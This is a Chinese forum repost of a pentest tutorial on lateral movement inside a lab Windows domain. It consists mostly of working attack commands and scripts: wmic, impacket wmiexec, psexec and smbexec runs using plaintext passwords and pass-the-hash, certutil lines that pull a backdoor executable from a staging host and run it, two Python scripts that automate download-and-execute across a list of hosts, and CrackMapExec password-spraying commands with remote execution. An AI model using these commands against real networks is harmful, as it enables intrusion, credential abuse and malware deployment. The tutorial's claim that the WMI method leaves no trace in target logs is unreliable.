温锦文欧普厨电及净水器总代理 发表于 2024-11-29 09:42:33

【内网安全】横向移动-Wmi-Smb-CME密码喷射

环境介绍

已经获取到了webserver服务器的权限
横向移动到其他域内主机
域信息收集-横向移动前置

net user /domain 获取域内用户
mimikatz logonpasswords
Ladon Adfinder BloodHound
判定是不是在域内

CS: shell net time /domian
https://i-blog.csdnimg.cn/blog_migrate/1bc4dc0d011f00f3e83e40806bdc5f08.png
同时获取到了它的域名
获取域控主机的内网ip

CS:shell ping OWA2010CN-God.god.org
https://i-blog.csdnimg.cn/blog_migrate/4c853ba0e0b5aa05db7cb6c6eabe234c.png
推测 192.168.3.21 就是域控主机
端口扫描内网

https://i-blog.csdnimg.cn/blog_migrate/c210470845fe41db516bfc9581efb358.png
因为内网是在3网段,端口扫描3网段
https://i-blog.csdnimg.cn/blog_migrate/3453b08ab066c31495c50442aafb9074.png
目标列表
https://i-blog.csdnimg.cn/blog_migrate/32307d37fa7cfed9780911a3586d339a.png
获取主机密码

https://i-blog.csdnimg.cn/blog_migrate/2823ad4ef4fbad68eafdca45648838de.png
可以抓hash也可以抓明文
https://i-blog.csdnimg.cn/blog_migrate/f5d6b73e1c5c6048c88b64707f33e07f.png
当完成以上步调后,就可以开始进行横向移动了
域横向移动-WMI-自带&命令&套件&插件

WMI是通过135端口进行使用,支持用户名明文或者hash的方式进行认证,
并且该方法不会在目标日志系统留下痕迹。
以下有三种WMI横向移动方法
1.wmic

系统自带:(单执行:即无回显)

让192.168.3.32主机下载192.168.3.31主机上的4445.exe
wmic /node:192.168.3.32 /user:administrator /password:Admin12345 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4445.exe c:/4445.exe"
成功后不会显示回显
https://i-blog.csdnimg.cn/blog_migrate/46116fdc43b3aed8e69fadeffec69e32.png
但已经执行成功了
https://i-blog.csdnimg.cn/blog_migrate/389f89b6395b8dde3308d5abf36e44f0.png
运行4445.exe
wmic /node:192.168.3.32 /user:administrator /password:Admin12345 process call create "cmd.exe c:/4445.exe"
2.cscript

系统自带:(交互式)

上传wmiexec.vbs到web主机上
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
https://i-blog.csdnimg.cn/blog_migrate/30454ce484a4f3879575c42a1c3bccbb.png
但这个不得当在 CS 上面用
得当在shell里面做横向移动
3.wmiexec-impacket(保举)

第三方:(交互式&单执行)

这个有两种运行方式

[*]上传到主机上运行(不保举,轻易被杀且文件过大)
[*]建立socks节点在本机上运行(保举)
建立节点进行通讯

https://i-blog.csdnimg.cn/blog_migrate/5e0592b85465d153abde1beb828c10ea.png
端口任意设置,但在安全组里面要设置开启
https://i-blog.csdnimg.cn/blog_migrate/2ed68c6df66cb522a18c5fc297b830ce.png
用代理软件毗连代理即可
https://i-blog.csdnimg.cn/blog_migrate/9d6857bc3a189c31e2851e37bd0d9a2a.png
这时就可以用本机进行通讯了
执行命令

登录192.168.3.32主机并执行whoami命令
python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "whoami"
https://i-blog.csdnimg.cn/blog_migrate/2bdd58f161bdd5146f7d3d2990ea0c42.png
hash命令执行

同上,但用 hash 进行命令执行
python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
https://i-blog.csdnimg.cn/blog_migrate/edab57872d467e626ac0acbd15d0ca80.png
生成代理转发上线后门

https://i-blog.csdnimg.cn/blog_migrate/1e6b983d2fb096f65b4c44c3fd099d77.png
监听地址设置为web服务器的内网地址(因为要与其他域内主机进行通讯)
https://i-blog.csdnimg.cn/blog_migrate/f63b3f5072f5114ac16c5e0751fb9bfd.png
生成后门
https://i-blog.csdnimg.cn/blog_migrate/c4fd800e2bc6c648fe52c6e8e3e446fb.png
下载后门:

https://i-blog.csdnimg.cn/blog_migrate/89a8d9af9efa79585d91476a59223d03.png
上传后门到网站服务器根目录 C:\inetpub\wwwroot
https://i-blog.csdnimg.cn/blog_migrate/44e59c1c34904bfc0ce9c27df10f806a.png
下载后门
python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe"
https://i-blog.csdnimg.cn/blog_migrate/c2bc22ebb7f084b5983a1fce41e38565.png
下载成功
https://i-blog.csdnimg.cn/blog_migrate/7cc4917c1599834946d5db0b982b31c0.png
执行后门:

python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c c:/4455.exe"
https://i-blog.csdnimg.cn/blog_migrate/43fb0240c7328a243205bc541804dad9.png
成功上线
https://i-blog.csdnimg.cn/blog_migrate/62f8b2dcfb2e025145232aeb0059fcec.png
也可以将下载执行合并在一起,一条命令办理
python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:\4455.exe"
域横向移动-SMB-自带&命令&套件&插件

使用SMB服务可以通过明文或hash通报来远程执行,
条件:445服务端口开放。
1.psexec

PsTools - Sysinternals | Microsoft Learn
系统官方工具包:(交互式 windows官方工具)

需要管理员权限运行
反弹cmd
psexec64.exe \\192.168.3.32 -u administrator -p admin!@#45 -s cmd
https://i-blog.csdnimg.cn/blog_migrate/ece3a4fcfa442bb877d21786c1726671.png
第三方:(交互式 第三方开发的工具)

第三方的支持用 Hash 毗连,且不需要管理员执行
python psexec.py-hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
https://i-blog.csdnimg.cn/blog_migrate/c1744816b666ca9e0a82215218033e9b.png
用账号密码毗连
python psexec.py ./administrator:admin!@# 45@192.168.3.32
CS插件:

cs-psexec
https://i-blog.csdnimg.cn/blog_migrate/d6906f1fea5ecf4fecfb827cff78ea7d.png
监听器选择内网的这个,修改一下用户名
https://i-blog.csdnimg.cn/blog_migrate/2afed40efc6e44a5139e92283e288290.png
这个域 如果填写就是用域用户的administrator进行登录,不填就是当地登录
有时候域用户登不上(因为账号密码需要域控的密码),可以不填写域试试
这里不填就上线成功了
https://i-blog.csdnimg.cn/blog_migrate/0420ebb5707fb167edeed13bef6724ff.png
2.smbexec-impacket

第三方:(交互式)

明文密码登录

python smbexec.py ./administrator:admin!@#45@192.168.3.32
https://i-blog.csdnimg.cn/blog_migrate/2b803e2c16c374d31f552a3f446dde65.png
smbexec god/administrator:admin!@#45@192.168.3.32
上线失败,因为登录的是域内的administrator 密码不对
hash登录

python smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
3.services(不好用)

系统自带:(单执行)

services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 create -name shell -display shellexec -path C:\Windows\System32\shell.exe
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 start -name shell
域横向移动-工具-Proxychains&CrackMapExec

1、Windows+Proxifier+Python_exp

import os

ips = {
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.32'
}

def down():
    for ip in ips:
      wmi_exec = 'D:\\Python\\python-3.8.10\\python.exe D:\\tools\内网\impacket-0.11.0\examples\\wmiexec.py ./administrator:admin!@#45@%s "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe"' % ip
      print(wmi_exec)
      os.system(wmi_exec)

def zx():
    for ip in ips:
      wmi_exec = 'D:\\Python\\python-3.8.10\\python.exe D:\\tools\内网\impacket-0.11.0\examples\\wmiexec.py ./administrator:admin!@#45@%s "c:/4455.exe"' % ip
      print(wmi_exec)
      os.system(wmi_exec)

if __name__ == '__main__':
    down()
    zx()
运行脚本,成功上线了内网别的一台主机
https://i-blog.csdnimg.cn/blog_migrate/6871d38f8cf8b4c4d9841c89f1540955.png
对它抓密码凭证,成功获取出一个hash
https://i-blog.csdnimg.cn/blog_migrate/7ef28a621f3e29daf48d288619f8ae05.png
这里给一个我本身修改后的脚本,支持明文与hash密码
本身修改一下脚本与python位置就行了
import subprocess

ips = {
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.32'
}

users = {
    'administrator'
}

passwords = {
    'admin!@#45'
}

hashes = {
    'ccef208c6485269c20db2cad21734fe7'
}

def execute_command(command, timeout=20):
    try:
      result = subprocess.run(command, shell=True, timeout=timeout)
      if result.returncode != 0:
            print(f'\033[93m账号或密码错误:\033[0m {command}\n')
    except subprocess.TimeoutExpired:
      print(f'\033[93m命令执行超时:\033[0m {command}\n')
    except Exception as e:
      print(f'\033[93m命令执行时出现错误:\033[0m {e}\n')

def down():
    for ip in ips:
      for user in users:
            for passwd in passwords:
                wmi_exec = f'D:\\Python\\python-3.8.10\\python.exe D:\\tools\\内网\\impacket-0.11.0\\examples\\wmiexec.py ./{user}:{passwd}@{ip} "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe"'
                print(f'\033[92m尝试下载文件:当前ip: {ip}当前用户: {user}当前密码: {passwd}\033[0m')
                print(wmi_exec)
                execute_command(wmi_exec)

def zx():
    for ip in ips:
      for user in users:
            for passwd in passwords:
                wmi_exec = f'D:\\Python\\python-3.8.10\\python.exe D:\\tools\\内网\\impacket-0.11.0\\examples\\wmiexec.py ./{user}:{passwd}@{ip} "cmd.exe /c c:/4455.exe"'
                print(f'\033[92m尝试运行程序:当前ip: {ip}当前用户: {user}当前密码: {passwd}\033[0m')
                execute_command(wmi_exec)

def hash_down():
    for ip in ips:
      for user in users:
            for hash in hashes:
                wmi_exec = f'D:\\Python\\python-3.8.10\\python.exe D:\\tools\\内网\\impacket-0.11.0\\examples\\wmiexec.py -hashes :{hash} ./{user}@{ip} "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe"'
                print(wmi_exec)
                print(f'\033[92m尝试下载文件:当前ip: {ip}当前用户: {user}当前hash密码: {hash}\033[0m')
                execute_command(wmi_exec)

def hash_zx():
    for ip in ips:
      for user in users:
            for hash in hashes:
                wmi_exec = f'D:\\Python\\python-3.8.10\\python.exe D:\\tools\\内网\\impacket-0.11.0\\examples\\wmiexec.py -hashes :{hash} ./{user}@{ip} "cmd.exe /c c:/4455.exe"'
                print(f'\033[92m尝试运行程序: 当前ip: {ip}当前用户: {user}当前hash密码: {hash}\033[0m')
                print(wmi_exec)
                execute_command(wmi_exec)

if __name__ == '__main__':
    down()
    zx()
    hash_down()
    hash_zx()

2、Linux+Proxychains+CrackMapExec

CrackMapExec

Github:GitHub - byt3bl33d3r/CrackMapExec: A swiss army knife for pentesting networks
官方手册:Site Unreachable
部分案例:CrackMapExec:一款针对大型Windows活动目录(AD)的后渗透工具 - FreeBuf网络安全行业门户
下载对应release,建立socks毗连,设置socks代理,配置规则,调用
安装:Site Unreachable
我在服务器上试了半天没有成功,末了还是在当地kali上进行安装,(一条命令办理)
apt-get install crackmapexec
Linux Proxychains使用

安装使用:proxychains 安装和proxychains 代理nmap-CSDN博客
代理配置:Proxychains.conf
代理调用:Proxychains 命令
密码喷射域登录:

proxychainscrackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45 '
基本都失败了,因为用的域登录
https://i-blog.csdnimg.cn/blog_migrate/37e7796103e6e9fb2034f2381dec7ba2.png
密码喷射当地登录:

proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' --local-auth
成功两个
https://i-blog.csdnimg.cn/blog_migrate/ff9e69cb17632576838db47a08138bd0.png
hash密码登录

proxychains crackmapexec smb 192.168.3.21-32 -u administrator -H 'ccef208c6485269c20db2cad21734fe7'
https://i-blog.csdnimg.cn/blog_migrate/ec337fa0a497beccfc289aecdc4fb1b8.png
密码喷射当地登录命令执行:

proxychains crackmapexecsmb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'whoami' --local-auth
https://i-blog.csdnimg.cn/blog_migrate/711a5b6a7eb775b08f720c7dab152189.png
密码喷射当地登录命令执行上线:

proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe' --local-auth
成功上线
https://i-blog.csdnimg.cn/blog_migrate/c58049b12f372ab0578e29b2b17e3e0d.png
密码喷射域登录命令执行上线:

proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe'
密码喷射当地&域登录命令执行全自动上线:

先创建两个txt 写入域内账号 密码(一行一条)
vim user.txt
vim pass.txt
域登录全自动上线
proxychains crackmapexec smb 192.168.3.21-32 -u user.txt -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe'
当地登录全自动上线
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe' --local-auth

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 【内网安全】横向移动-Wmi-Smb-CME密码喷射